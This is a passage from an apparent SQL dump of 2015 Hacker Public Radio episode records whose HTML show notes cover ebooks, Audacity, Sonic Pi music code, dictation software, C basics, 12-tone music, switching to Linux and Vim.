href=\"https://www.youtube.com/watch?v=2mVuwOKA3UY\">https://www.youtube.com/watch?v=2mVuwOKA3UY</a></li>\r\n</ul>\r\n',238,0,1,'CC-BY-SA','Fugue, J. S. Bach, Classical Music, Creative-Commons Music, Music, Counterpoint',0,0,1),
(1789,'2015-06-11','The Ubuntu Quickly Ebook Template and Ebooks in General',2032,'Jon Kulp and Mike Hingley talk about ebooks in general and Mike\'s Quickly Ebook Template project','<h2>Ubuntu Quickly Ebook Template</h2>\r\n\r\n<p>I recorded this conversation with <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=185\">Mike Hingley</a> about a year ago (12 June 2014) but never released it because I thought the audio didn\'t sound very good and I didn\'t feel like editing it at the time. Honestly I forgot all about it until now when the HPR queue is low again. I apologize for the slightly clippy quality of my audio, I must have had my microphone too hot on the mumble. It\'s really interesting to listen to this conversation a year later because I have worked out so many of the problems that I was mentioning to Mike, including the automation of the entire build process using command-line tools from Calibre.</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li>Quickly Ebook Template on Launchpad<a href=\"https://launchpad.net/quickly-ubuntu-ebook\">https://launchpad.net/quickly-ubuntu-ebook</a></li>\r\n<li>Jon\'s Counterpoint Projects <a href=\"https://jonathankulp.org/gratis.html\">https://jonathankulp.org/gratis.html</a></li>\r\n	<li>Calibre: <a href=\"https://calibre-ebook.com/\">https://calibre-ebook.com/</a></li>\r\n	<li>Manual for Calibre\'s Command Line Interface: <a href=\"https://manual.calibre-ebook.com/cli/cli-index.html\">https://manual.calibre-ebook.com/cli/cli-index.html</a></li>\r\n	<li>FBReader: free (and ad-free) multi-platform ebook reader. <a href=\"https://fbreader.org/\">https://fbreader.org/</a></li>\r\n	<li>Free ebooks - Project Gutenberg: <a href=\"https://www.gutenberg.org/\">https://www.gutenberg.org/</a></li>\r\n	<li>Mike\'s projects and info: <a href=\"https://titaniumbunker.com/\">https://titaniumbunker.com/</a></li>\r\n	<li>Humble eBook Bundle: <a href=\"https://www.humblebundle.com/books\">https://www.humblebundle.com/books</a></li>\r\n</ul>\r\n\r\n<h2>Credits</h2>\r\n\r\n<ul>\r\n	<li>Music bumpers are from Kimiko Ishizaka\'s <em>The Open Goldberg Variations</em>: <a href=\"https://www.opengoldbergvariations.org/\">https://www.opengoldbergvariations.org/</a>, used by permission of their <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','ebooks, calibre, quickly, ubuntu',0,0,1),
(1771,'2015-05-18','Audacity: Label Tracks',683,'Intro to my recent discovery of \"Label Tracks\" in Audacity','<h2>Label Tracks in Audacity</h2>\r\n\r\n<p>I don\'t know if I\'m ignorant and everyone else already knows about this, but I decided to record a quick show about Audacity \"Label Tracks,\" something I discovered while working on another HPR episode today.</p>\r\n\r\n<p>The label track is one of the most useful things I\'ve found in a long time. It allows you to annotate your audio project so that you can quickly see important spots or summarize the contents of whole segments and see at a glance what they are about without hunting all over the place and playing things back, trying to find the part where you were talking about X,Y, or Z. You can also export the labels as a plain text file with exact timestamps. I have not tried this, but according to the documentation you can also use labels to mark the beginnings of separate songs in a long track and export multiple separate files at once from a single source based on the labels.</p>\r\n\r\n<p>To add a label track, go to the <code>Tracks</code> menu and select <code>Add New --&gt; Label Track</code>, and it will add the label track to the bottom of your list of tracks. To add a label, either stick the cursor where you want the label to be and press <code>ctrl+b</code> to add text, or select a region to label by clicking and dragging over a region in the label track, then do <code>ctrl+b</code> to start typing the label text.</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li>Audacity Label Tracks Documentation: <a href=\"https://manual.audacityteam.org/o/man/label_tracks.html\">https://manual.audacityteam.org/o/man/label_tracks.html</a></li>\r\n</ul>\r\n',238,45,0,'CC-BY-SA','Audacity, audio editing, podcasting',0,0,1),
(1772,'2015-05-19','Random thoughts',748,'I talk about some of the things I appreciate in life','<p>\r\n<a href=\"https://anthonyvenable110.wordpress.com\">https://anthonyvenable110.wordpress.com</a>\r\n</p>\r\n<p>\r\n<a href=\"https://anthonyvenable110.wordpress.com/2014/05/07/lovely-walk-in-may-part-1/\">https://anthonyvenable110.wordpress.com/2014/05/07/lovely-walk-in-may-part-1/</a>\r\n</p>\r\n<p>\r\nMy blogsite as well as just one of the many posts on my site that deal with what I appreciate about my life in general\r\n</p>',297,0,0,'CC-BY-SA','life, random',0,0,1),
(1773,'2015-05-20','LFNW 2015 interview with Deb Nicholson',1052,'David Whitman interviews Deborah Nicholson of the Open invention Network. Enjoy!','<p>\r\nDeb Nicholson:<br />\r\nhas been a free speech advocate, economic justice organizer and civil liberties defender. After working in Massachusetts politics for fifteen years, she then became involved in the free software movement at the Free Software Foundation. \r\n</p>\r\n<p>\r\nDefensive Publications info:  <a href=\"https://www.linuxdefenders.org/?page_id=150\">https://www.linuxdefenders.org/?page_id=150</a>\r\n</p>\r\n<p>\r\nSeattle GNU/Linux Conference <a href=\"https://seagl.org/\">https://seagl.org/</a>  IRC on Freenode in #seagl.\r\nWere very excited to be returning to Seattle Central College for SeaGL on Friday October 23rd and Saturday October 24th, 2015. \r\nSeaGL is a grassroots technical conference dedicated to spreading awareness and knowledge about the GNU/Linux community and free/libre/open-source software/hardware.\r\nCost of attendance is free.\r\nAttendee Registration will not require the use of non-free software.\r\nYou may attend SeaGL without identifying yourself, and you are encouraged to do so to protect your privacy. \r\n</p>\r\n\r\n<ul>\r\n<li>Gnu Media Goblin <a href=\"https://mediagoblin.org/\">https://mediagoblin.org/</a> \r\n</li>\r\n<li>Join us on IRC:#mediagoblin on irc.freenode.net \r\n</li>\r\n</ul>',209,78,1,'CC-BY-SA','Software Patents, Linux Fest, Mediagoblin, GNU',0,0,1),
(1775,'2015-05-22','Sonic Pi',677,'A short review of sonic PI and programming the HPR theme','<p>\r\nIn this review of the Sonic Pi software I have mentioned a couple of programs that I wrote the listings are here:\r\n</p>\r\n<pre>\r\n============================\r\nThe Hippopotamus Song\r\n============================\r\nuse_bpm 180\r\n# use_transpose -12\r\nuse_synth :fm\r\n2.times do\r\nplay_pattern_timed [:D3,:G3,:G3,:G3], [1,1,1,1]      # 1 extra note from bar an bar 2\r\nplay_pattern_timed [:G3,:D3,:B2,:G2], [0.5,0.5,1,1]  # 3\r\nplay_pattern_timed [:a2,:b2,:c3], [1,1,1]            # 4\r\nplay_pattern_timed [:b2,:b2,:a2], [2,0.5,0.5]        # 5\r\nplay_pattern_timed [:g2,:g3,:g3], [1,1,1]            # 6\r\nplay_pattern_timed [:fs3,:g3,:e3], [1,1,1]           # 7\r\nplay_pattern_timed [:d3,:d3], [4,1]                  # 8 9\r\nplay_pattern_timed [:g3,:g3,:g3], [1,1,1]            # 10\r\nplay_pattern_timed [:g3,:d3,:b2,:g2], [0.5,0.5,1,1]  # 11\r\nplay_pattern_timed [:a2,:b2,:c3], [1,1,1]            # 12\r\nplay_pattern_timed [:b2,:b3,:a3], [2,0.5,0.5]        # 13\r\nplay_pattern_timed [:g3,:fs3,:e3], [1,1,1]           # 14\r\nplay_pattern_timed [:a3,:fs3,:e3], [1,1,1]           # 15\r\nplay_pattern_timed [:d3,:d3], [4,1]                  # 16 17\r\nplay_pattern_timed [:a3,:a3,:a3], [1,1,1]            # 18\r\nplay_pattern_timed [:e3,:e3,:e3], [1,1,1]            # 19\r\nplay_pattern_timed [:a3,:a3,:a3], [1,1,1]            # 20\r\nplay_pattern_timed [:e3,:a3], [2,1]                  # 21\r\nplay_pattern_timed [:c4,:b3,:a3], [1,1,1]            # 22\r\nplay_pattern_timed [:a3,:b3,:gs3], [1,1,1]           # 23\r\nplay_pattern_timed [:a3,:d3], [4,1]                  # 24 25\r\nplay_pattern_timed [:e3,:fs3,:g3], [1,1,1]           # 26\r\nplay_pattern_timed [:fs3,:d3,:d3], [1,1,1]           # 27\r\nplay_pattern_timed [:e3,:fs3,:g3], [1,1,1]           # 28\r\nplay_pattern_timed [:fs3,:d3,:d3], [1,1,1]           # 29\r\nplay_pattern_timed [:c4,:b3,:a3], [1,1,1]            # 30\r\nplay_pattern_timed [:g3,:fs3,:e3], [1,1,1]           # 31\r\nplay_pattern_timed [:fs3],[1], sustain_level: 0.6, sustain: 1, decay: 3   # 32 sustain note into next bar\r\nplay_pattern_timed [:g3,:fs3], [1,1]                 # 32\r\nplay_pattern_timed [:e3,:d3,:fs3], [1,1,1]           # 33\r\nplay_pattern_timed [:g3,:d3],[3,3]                   # 34 35\r\nplay_pattern_timed [:c3,:b2,:a2], [1,1,1]            # 36\r\nplay_pattern_timed [:d3],[3]                         # 37\r\nplay_pattern_timed [:g3,:fs3,:g3], [1,1,1]           # 38\r\nplay_pattern_timed [:e3,:a3,:g3], [1,1,1]            # 39\r\nplay_pattern_timed [:fs3,:e3,:fs3], [1,1,1]          # 40\r\nplay_pattern_timed [:d3,:d3],[2,1]                   # 41\r\nplay_pattern_timed [:b3,:b3,:a3], [0.5,1.5,1]        # 42\r\nplay_pattern_timed [:g3,:d3,:d3], [0.5,1.5,1]        # 43\r\nplay_pattern_timed [:c4,:c4,:b3], [1,1,1]            # 44\r\nplay_pattern_timed [:a3,:e3,:d3], [0.5,1.5,1]        # 45\r\nplay_pattern_timed [:e3,:fs3,:g3], [1,1,1]           # 46\r\nplay_pattern_timed [:d3,:b2,:g2], [1,1,1]            # 47\r\nplay_pattern_timed [:a2],[3], decay: 3               # 48\r\nplay_pattern_timed [:a2,:b2,:a2], [1,1,1]            # 49\r\nplay_pattern_timed [:g2],[3], decay: 3               # 50\r\nplay_pattern_timed [:g2],[1]                         # 51\r\nsleep 2\r\nend\r\n\r\n=======================================\r\nThe HPR Outro theme - hack on this improve it and make a show\r\n=======================================\r\nin_thread do\r\n  use_bpm 180\r\n  use_transpose 24\r\n  use_synth :beep\r\n  19.times do\r\n    play_pattern_timed [:a,:as,:a,:a], [0.5],release: 0.02, amp: 0.3 #\r\n    play_pattern_timed [:as,:f,:as,:a], [0.5],release: 0.02, amp: 0.3  #\r\n  end\r\nend\r\nuse_bpm 180\r\nsample :elec_hi_snare\r\nsleep 0.5\r\nsample :elec_hi_snare\r\nsleep 0.5\r\nsample :drum_bass_hard\r\nsleep 0.5\r\n\r\nuse_transpose -0\r\nuse_synth :saw\r\n2.times do\r\n  play_pattern_timed [:a,:a,:a,:a], [0.5,1,0.5,1] # 3\r\n  play_pattern_timed [:a,:as,:a], [1,1,1]\r\n  play_pattern_timed [:c5], [3], decay: 2   # 6\r\n  play_pattern_timed [:a,:a,:a,:a], [0.5,1,0.5,1] # 3\r\n  play_pattern_timed [:a,:as,:a], [1,1,1]    # 6\r\n  play_pattern_timed [:f], [3], decay: 2   # 6\r\nend\r\nuse_synth :dsaw\r\nplay_pattern_timed [:f],[1]\r\nplay_pattern_timed [:c5],[2], decay: 1.5\r\nplay_pattern_timed [:as,:a,:as],[1,1,1]\r\nplay_pattern_timed [:a],[1]\r\nplay_pattern_timed [:c5],[2], decay: 1.5\r\nplay_pattern_timed [:f],[1]\r\nplay_pattern_timed [:c5],[2], decay: 1.5\r\nplay_pattern_timed [:as,:a,:as,],[1,1,1]\r\nplay_pattern_timed [:a],[1]\r\nplay_pattern_timed [:f],[2], decay: 1.5\r\nplay_pattern_timed [:f],[1]\r\nplay_pattern_timed [:c5],[2], decay: 1.5\r\nplay_pattern_timed [:as,:a,:as],[1,1,1]\r\nplay_pattern_timed [:a],[1]\r\nplay_pattern_timed [:c5],[2], decay: 1.5\r\nplay_pattern_timed [:f],[1]\r\nplay_pattern_timed [:c5],[2], decay: 1.5\r\nplay_pattern_timed [:as,:a,:as,:a],[1,1,1,1]\r\nplay_chord [:c4,:f], decay: 4\r\n===========================\r\n</pre>\r\n\r\n------------------------------------------------------------\r\n',240,0,0,'CC-BY-SA','Raspberry PI, music, programming, review',0,0,1),
(1769,'2015-05-14','A Demonstration of Dictation Software on my Office Computer',825,'I record a whole show in dictation mode to demonstrate Dragon dictation software capabilities','<h2>Transcript Performed by Dragon Dictate [dumped \"as is\"]</h2>\r\n\r\n<p>Hi everybody! This is John Kulp In Lafayette, Louisiana. I am going to do a rather strange episode today. What I\'m doing is demonstrating the dictation software that I use on the office computer that I have here at work. If you listen to my previous episodes, then you have heard me speak of the blather speech recognition program that I use on my Linux desktop, but as you may also remember, blather is not a dictation tool. Blather is a tool where you have to set up commands that will run other commands. In other words, you have to configure everything from scratch. I do have some capabilities for dictation on my Linux desktop, but they involve using the Google Web speech API and a special dictation box that I have set up, and these are not at all good for longform dictation. For serious dictation, such as writing letters and memos and other longform text, you really need a proper dictation tool. These are available built into the operating systems of Windows and Mac OS 10, but I normally use the Dragon naturally speaking software instead. I have found that it is more accurate and more powerful than the built-in versions that you can get on either Windows or Mac. That doesn\'t mean you shouldn\'t try out the built-in speech recognition on Windows and Mac, you definitely should, because I think you would be very impressed with him. I know for sure that the version on Windows learns from your voice and from the corrections that you make to the text that you were spoken, and eventually becomes very powerful in recognizing your speech. The biggest problem that I had with the Windows speech recognition was that it was a huge memory hog and frequently brought my system to a grinding halt. This is not good. Blather never does that, but then again bladder cannot take dictation. The latest system that I use for dictation is on a fairly recent Mac Mini running the nuance Dragon Dictate software. This is a very powerful dictation program that learns from your speech patterns and you can also add words to the vocabulary so that it will get them right when it hears them. This is especially important to do if you have frequently used unusual words, such as a name with an alternate spelling from what is normally in the program\'s dictionary. One of the great things about the Mac Dragon Dictate program, also, is its ability to do transcriptions of audio files. In fact the reason I am speaking this way is that I plan to use the transcription of this recording as the show notes verbatim without any corrections. The difficulty that most people have with dictation software at least initially is doing things like punctuation and capitalization. You have to remember to do these things or else your transcript will come out without any punctuation or capitalization, unless the words that you are speaking are known proper nouns. It also capitalizes automatically at the beginning of the sentences, so that if you use periods frequently then you will have capitalized words after those periods. You can see that I\'m having trouble speaking this text in a fluent way, and this is one of the other difficulties that people have when initially using transcription software. It works best when you can express complete thoughts without pausing, because it learns from the context of your words. It has algorithms that calculate the possibility of one word or another based on the context, and so it is much better to speak entire sentences at one than it is to pause while trying to gather your thoughts. This is a major difference from trying to write at the keyboard, where it does not matter at all if you pause for seconds or even minutes while you think of what you want to write next. Anyhow, I highly recommend using some kind of dictation software if you suffer from repetitive strain injuries like I do. This will save you many thousands of keystrokes. Even if it\'s only using the speech recognition that\'s available on your phones over the web, that\'s better than nothing. The disadvantage of any of these services that have to send your recording over the web to \r\nget a transcription and then send it back into your device is that they will never learn your voice and your particular speech patterns. In order for that to work best, you really have to use a dedicated standalone speech recognition program that resides locally on your computer and saves your profile and learns from your speaking. Well, I guess that is about it for today, I hope you have enjoyed hearing this brief lesson on dictation. See you next time!</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://shop.nuance.com/store/nuanceus/Custom/pbpage.resp-dragon-home-2015/\">Dragon Dictate for Mac</a></li>\r\n<li>Video Screen Capture of Dragon Dictate Transcribing this episode: <a href=\"https://youtu.be/jlkpz2nhZ38\">https://youtu.be/jlkpz2nhZ38</a></li>\r\n</ul>\r\n\r\n<h2>Credits</h2>\r\n\r\n<ul>\r\n	<li>Music bumpers are from Kimiko Ishizaka\'s <em>The Open Goldberg Variations</em>: <a href=\"https://www.opengoldbergvariations.org/\">https://www.opengoldbergvariations.org/</a>, used by permission of their <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n</ul>\r\n\r\n------------------------------------------------------------\r\n',238,79,0,'CC-BY-SA','RSI, Dictation, Speech Recognition',0,0,1),
(1768,'2015-05-13','An Intro To C Episode 1 : Introduction and Types',1927,'I go through the basic types and a basic introduction of myself. :) ','<h1>Episode 1:  History and Basic Types</h1>\r\n\r\n<h2>Explain who you are and what you do.</h2>\r\n\r\n<ul>\r\n<li><p>Name: Colin Mills, (cjm) </p></li>\r\n<li><p>Occupation: Software Engineering Student in Canada</p></li>\r\n<li><p>I have been a UNIX geek and open source software <strong>FANATIC</strong> for about four years now.</p></li>\r\n<li><p><strong>Website</strong>: c-jm.github.io</p></li>\r\n</ul>\r\n\r\n<h2>Start to go into the history of C and explain where it came from.</h2>\r\n\r\n<h3>Abstract</h3>\r\n\r\n<blockquote>\r\n  <p>C was originally developed by Dennis Ritchie between 1969 and 1973 at AT&amp;T \r\nBell Labs,[5] and used to (re-)implement the Unix operating system.[6] \r\nIt has since become one of the most widely used programming languages of all \r\ntime, [7][8] with C compilers from various vendors available for the\r\nmajority of existing computer architectures and operating systems. \r\nC has been standardized by the American National Standards Institute (ANSI) > since 1989 (see ANSI C) and subsequently by the \r\nInternational Organization for Standardization (ISO).</p>\r\n</blockquote>\r\n\r\n<ul>\r\n<li>From: <a href=\"https://en.wikipedia.org/wiki/C_%28programming_language%29\">Wikipedia On C</a></li>\r\n</ul>\r\n\r\n<h2>Explain Types and their meanings</h2>\r\n\r\n<ul>\r\n<li><p><strong>SIGNED</strong>: It means it can hold either negative or positive values.</p></li>\r\n<li><p><strong>UNSIGNED</strong>: Unsigned means it can only hold positive values.</p></li>\r\n</ul>\r\n\r\n<p>Retrieved From: <a href=\"https://en.wikipedia.org/wiki/Signedness\">Wikipedia On Signedness</a></p>\r\n\r\n<h2>int:</h2>\r\n\r\n<ul>\r\n<li><p>An int is a variable that is at leas 16 bits in size.</p></li>\r\n<li><p>It is actually the most efficent for the processor itself.</p></li>\r\n<li><p>Capable of storing -32767 -> 32767</p></li>\r\n</ul>\r\n\r\n<h3>Int Specifiers</h3>\r\n\r\n<ul>\r\n<li><p><strong>short</strong>: 16 bits in size</p>\r\n\r\n<p>short int intThatIsAShort = 0;</p></li>\r\n<li><p><strong>long</strong>: 32 bits in size</p>\r\n\r\n<p>long intThatIsALong = 0; </p></li>\r\n<li><p><strong>long long</strong>: 64 bits in size</p>\r\n\r\n<p>long long reallyBigInteger = 0;</p></li>\r\n</ul>\r\n\r\n<h2>char</h2>\r\n\r\n<ul>\r\n<li><p>One byte in memory. (8 bits).</p></li>\r\n<li><p>Holds a character but can also hold a number</p>\r\n\r\n<p>char thisCanHoldALetter = \'x\';\r\nchar thisCanHoldANumber = 72;</p></li>\r\n</ul>\r\n\r\n<h3>Note about the ascii table</h3>\r\n\r\n<ul>\r\n<li><p>ASCII is just a number corresponding with a letter.</p></li>\r\n<li><p>Look here for more information.</p></li>\r\n</ul>\r\n\r\n<h2>float</h2>\r\n\r\n<ul>\r\n<li><p>Holds floating point numbers</p>\r\n\r\n<p>float thisIsAFloat = 72.2;</p></li>\r\n</ul>\r\n\r\n<h2>Double</h2>\r\n\r\n<ul>\r\n<li><p>Like a float but bigger.</p>\r\n\r\n<p>double thisIsADouble = 0;</p></li>\r\n</ul>\r\n\r\n<h2>Arrays</h2>\r\n\r\n<ul>\r\n<li><p>Arrays are collections of multiple things</p></li>\r\n<li><p>Have to be a set size.</p></li>\r\n<li><p>Use braces to initalize</p></li>\r\n<li><p>If you initalize one you initalize all. </p>\r\n\r\n<p>int arrayOfNums[100] = {0};</p></li>\r\n</ul>\r\n\r\n<h2>Strings</h2>\r\n\r\n<ul>\r\n<li><p>\"Strings\" are made up of mutliple chars. (Yes it does make sense! :))</p>\r\n\r\n<p>char arrayOfChars[81] = {0};</p></li>\r\n<li><p>Null termination is added to the end.</p>\r\n\r\n<p>\'&#92;0\'</p></li>\r\n</ul>\r\n',286,25,0,'CC-BY-SA','C, Programming',0,0,1),
(1794,'2015-06-18','12-Tone Music and My Random 12 Tone Row of the Day',841,'An Intro to 12-tone music and my \"Random 12-Tone Row of the Day\" bash script.','<h2>12-Tone Music (Dodecaphony) and My Random 12 Tone Row of the Day</h2>\r\n\r\n<p>In this episode I cover a bit of music theory as well as some bash scripting. The topic is the Twelve-Tone System of music composition and the scripting of a random 12-tone row to be generated daily. For a full transcript of the show click <a href=\"https://hackerpublicradio.org/eps/hpr1794/transcript.html\">here</a>.</p>\r\n\r\n\r\n<p>\r\n  <img src=\"https://hackerpublicradio.org/eps/hpr1794/tonerow.png\" alt=\"randomly generated 12-tone\r\n row\" title=\"randomly-generated 12-tone row\"/>\r\n</p>\r\n\r\n<div>\r\n	<audio controls>\r\n		<source src=\"https://hackerpublicradio.org/eps/hpr1794/tonerow.mp3\r\n\" type=\"audio/mpeg\">\r\n		<source src=\"https://hackerpublicradio.org/eps/hpr1794/tonerow.ogg\r\n\" type=\"audio/ogg\">\r\n	</audio>\r\n</div>\r\n\r\n<h2>Links</h2>\r\n\r\n\r\n<ul>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Twelve-tone_technique\">Twelve-tone technique</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Arnold_Schoenberg\">Arnold Schoenberg</a></li>\r\n		<li><a href=\"https://en.wikipedia.org/wiki/Alban_Berg\">Alban Berg</a></li>\r\n		<li><a href=\"https://en.wikipedia.org/wiki/Anton_Webern\">Anton Webern</a></li>\r\n		<li><a href=\"https://en.wikipedia.org/wiki/Anton_Webern\">Second Viennese School</a></li>\r\n	<li><a href=\"https://composertools.com/Tools/matrix/MatrixCalc.html\">12-Tone Matrix Calculator</a></li>\r\n	<li><a href=\"https://jonkulp.net/12tone.html\">Jon\'s Random 12-Tone Row of the Day</a></li>\r\n	<li><a href=\"https://lilypond.org/\">Lilypond</a> Music Notation Software</li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','bash, dodecaphony, music theory, 12-tone, twelve-tone, scripting, Lilypond',0,0,1),
(1783,'2015-06-03','Windows To Linux - Better Late Than Never.',604,'Long time Podcast listener finally gets off the fence and makes the switch.  Now he\'s hooked.','<p>\r\nThis is a story of my last days as a Windows Users at home and my eventual switch to Linux.  My name is Kevin and my online name is GNULinuxRTM.  The name GNULinuxRTM was recently created for a project I am working on.  But maybe Ill talk about that another time.\r\n</p>\r\n<p>\r\nAlthough I listened to every single episode of Linux Reality, many episodes of Linux Outlaws, Linux Link Tech Show, The Bad Apples aka GNU World Order, and other Podcast shows, I just recently listened to my first episode to Hacker Public Radio.  What caught my attention was the plea for content to keep Hacker Public Radio going.  So I have been HPR binging and I have to say that the fact that this kind of Podcast format exists, is amazing.\r\n</p>\r\n<p>\r\nYes, I had heard the words Hacker Public Radio before, but I just thought it meant that this was some kind of show for extreme Hacker types, which I didnt think described me.\r\n</p>\r\n<p>\r\nAnother confession, my day job is mostly in a Windows environment.  And although I kept myself up to date on the progress of Linux, I had very few opportunities to use Linux at work.  I had enough challenge keeping up to technology I had to know to do my job.  Although I heard and understood the significance of making a commitment to use Linux, I never did make the switch.  Sure I dabbled with Linux as a Server platform and maybe to get some use out of some old hardware.  But not on my most powerful and most used home machine.  The computer I use every day for my own personal projects was, until last Summer, a Windows PC.\r\n</p>\r\n<p>\r\nYou see I hate wasting effort and time, something we all have a limited amount of.  I remember after a particularly frustrating bout with Linux I turned to a Co-Worker and said \"Windows, because Lifes too short\".\r\n</p>\r\n<p>\r\nAlso, I am one of those weirdos who loves the little red Trackpoint on IBM Thinkpads.  Last Spring I traded in my old Thinkpad plus some cash for an off-lease Lenovo Thinkpad W510 Notebook.   I got it cheaper because they didnt have the original power supply, instead it came with a 3rd party power supply.  Eventually it got to me that it took more than twice as long to charge the notebook, so i spent the money to replace it with a higher wattage power supply.  \"In a for penny, in for a pound\", why not upgrade to 8Gb of RAM too.\r\n</p>\r\n<p>\r\nShortly after the 90 day warranty I started having weird lockup issues.  The hard drive light would go solid and the machine would just freeze.  Ive seen this before.  Suck it up and back to local computer store to replace the Hard Drive.  But \"In for a penny, in for a pound\", why not get one of those slick new SSD drives.  Got home, do a drive copy and I am back in business Or so I think.  After a while I realize I am still suffering from intermittent Lockups.  Time for a fresh install.\r\n</p>\r\n<p>\r\nInstall Windows 7, Windows Update, Reboot, Windows Update Reboot, Windows Update Reboot almost done. Blue-Screen-of-Death.  Reboot, Blue Screen of Death.  Start over, Re-install Windows 7, trickle install Updates, Save System State, Reboot, Repeat, Blue Screen, Ahhhhh!!@!!!  System Restore, its that update, Blue Screen, not its that update, Blue Screen, Blue Screen, Blue Screen  Ahhhhh!!##$\r\n</p>\r\n<p>\r\nIs it my new RAM, switch that out.  No difference.  Power Supply?  Nope.  Go back to Non-SSD drive?  Still No Change.  Different Windows Install Disc?  No, No and No.  \r\n</p>\r\n<p>\r\nNow Im really \"In for a Pound\" with this machine and I cant use it.  Deflated, I put the computer down in the corner of the room and try to forget about it.  The sleek black Thinkpad just sits there mocking me every time I walk by,  but I am determined to ignore it.  Weeks go by, now a month.  Ive gone back to my desktop, but its no use, I miss having a notebook.  Im an easy-chair Notebook guy now.  I dont want to regress down the evolutionary scale and hunch over my desktop anymore.  Im at home, I should be reclining!\r\n</p>\r\n<p>\r\nLike a bad hangover, time has numbed the memory of the pain.  I pick the Thinkpad, its time to drink again! Im back baby and Ive got that \"You cant beat me\" Techy Battle cry pumping through my veins.  \"LINUX! Ill try Linux!\"  At least that is the way I prefer to remember it.  But really, I was thinking that Ive spent sooo much money on the piece of Crap, Ill use it even i have to switch to Linux.\r\n</p>\r\n<p>\r\nLets see  Ive got to approach this logically.  Uhhh, choose a Distro, Desktop, hmmmm.  Video on Richard Stallman spanking Ubuntu on Amazon Deal, hmmm.  Ok, Linux Mint 17 is based on the LTS release of Ubuntu, 5 years Support, Cool!  Top of the Distrowatch charts.  Looks like a good start.\r\n</p>\r\n<p>\r\nI install Linux Mint 17 and it is up and running in no time.  Run the Update Manager and hold my breath.  Wow!  It updated 100%, no Crash Screen of Doom!\r\n</p>\r\n<p>\r\nNow what?  What do i do now?  Google \"First things to do after install Linux Mint 17\", wow Direct hit,  Yeehaw!  Oh cool, Steam Games, Yummy.  PlayOnLinux, Bonus!  What a blast.  But the fun of discovery was better than any game I played.\r\n</p>\r\n<p>\r\nAlas, my machine was running great but still had a locked up issue, just not as often.  But it was a victory nonetheless.  Besides, I had a mostly working machine and I would just ignore the problem.  An infrequent lockup didnt seem to bother Linux Mint, it just boot back up fine.\r\n</p>\r\n<p>\r\nAfter about a month on Linux Mint a little message popped up, I cant remember exactly what it said.  But it was like machine was talking to me.  \"Hey Buddy, this battery in your notebook, uhh it kinda sucks.  And you might want it replace because well I need steady power to you know, breath.  And it sure would be a lot easier if I could  Huh Huh Huh  AHHHHH count on some steady air flow\".\r\n</p>\r\n<p>\r\nYeah, you know I was elated, but even more so amazed!  I had installed no diagnostic software, I had spent no additional time troubleshooting, I had just installed Linux and started using it.  And my computer just told me what was wrong with it.\r\n</p>\r\n<p>\r\nNew battery arrived and now the machine is solid as rock.  Did I go back to Windows 7, Hell No!  I had kicked the habit once a for all and I was not missing Windows at all.\r\n</p>\r\n<p>\r\nI distinctly remember a standout moment when I was working on my brother-in-law\'s wedding video.   Circumstances were that the key family members could not be at the Wedding and the they were anxiously waiting for the Wedding Video.  I didnt want to delay finishing the project and was reluctant to do anything else with the computer during the Render process.  Rendering the Video took quite a bit of time and was very CPU intensive.  But I had broken the Wedding into several segments and there was lots of Rendering and getting feedback.  \r\n</p>\r\n<p>\r\nKdenlive lets you assign how many processors would be used during Rendering, and I had set that to four.  There were processors to spare, maybe I can do something else while I am waiting for the Render.\r\n</p>\r\n<p>\r\nIll read a few emails.  Hey, I dont notice any performance difference. \r\nMaybe Ill surf a bit.  Still fine.  Youtube Video, smooth, now in HD, wow! no problem or no slow down.  Multi-tasking as it should be!\r\n</p>\r\n<p>\r\nNext day at work, I cant help but talk about it with my Co-Workers.  \"Why not get a Mac?\" they say. it wasnt a question, it was a strong suggestion.  Most of them had written off Linux years ago.  I start talking about how great my system is working for me and how I have been able to get so much done with 100% open source applications.\r\n\"So what\", they say.  \"You can install most of those applications on the Mac and Windows as well\".  \r\n</p>\r\n<p>\r\nIts no use, I guess I am not much of an evangelist.  Or maybe I just work with cynical people.  But it does cause me to question.  Why am I so excited about Open Source Software now?  At this point in history.  Really most of the fundamental building blocks of Open Source Software have already happened.  It seems to me we are now in a fine tuning stage.\r\n</p>\r\n<p>\r\nI think it is that maturity that appeals to me.  No longer do you have to say, you can install Linux, BUT.  And word \"But\" lands with a thud.  There is very little creative work that you cannot do on Linux and Open Source software, right now.\r\n</p>\r\n<p>\r\nI dont regret a single moment I have invested in switching to and learning Linux.\r\n</p>\r\n<p>\r\nMy story continues, but well save that for another time.   I hope to tell you more about my project and the hurdles Ive gone through in a future HPR episode.\r\n</p>\r\n<p>\r\nBye for now,\r\nGNULinuxRTM signing off.\r\n</p>',306,0,0,'CC-BY-SA','Linux,Mint,GNU,RTM,Mac,Windows,Open Source,Distro,Richard Stallman,Thinkpad,PlayOnThis is a stoLinux',0,0,1),
(1776,'2015-05-25','Vim Hints 004',2840,'Hints and Tips for Vim users - part 4','<h2 id=\"joining-commands-together\">Joining commands together</h2>\r\n<p>In this episode I want to look at more movement commands and how to use them in conjunction with commands that change things in the file. I also want to add some more elements to the configuration file we have been building over the last few episodes.</p>\r\n<p>I have covered a lot of ground in this episode, introducing a number of new subjects. This is partly because I felt the series needed to get to the point where you could start to make full use of Vim if you are following along, and partly because the episodes up to this point have been moving a little too slowly! I hope the change in pace and length hasn\'t put you off.</p>\r\n<h2 id=\"full-notes\">Full Notes</h2>\r\n<p>Since the notes explaining this subject are particularly long, they have been placed here: <a href=\"https://hackerpublicradio.org/eps/hpr1776_full_shownotes.html\">https://hackerpublicradio.org/eps/hpr1776_full_shownotes.html</a> and an ePub version is also available here: <a href=\"https://hackerpublicradio.org/eps/hpr1776_full_shownotes.epub\">https://hackerpublicradio.org/eps/hpr1776_full_shownotes.epub</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ol type=\"1\">\r\n<li>Vim Help:\r\n<ul>\r\n<li>Using Help: <a 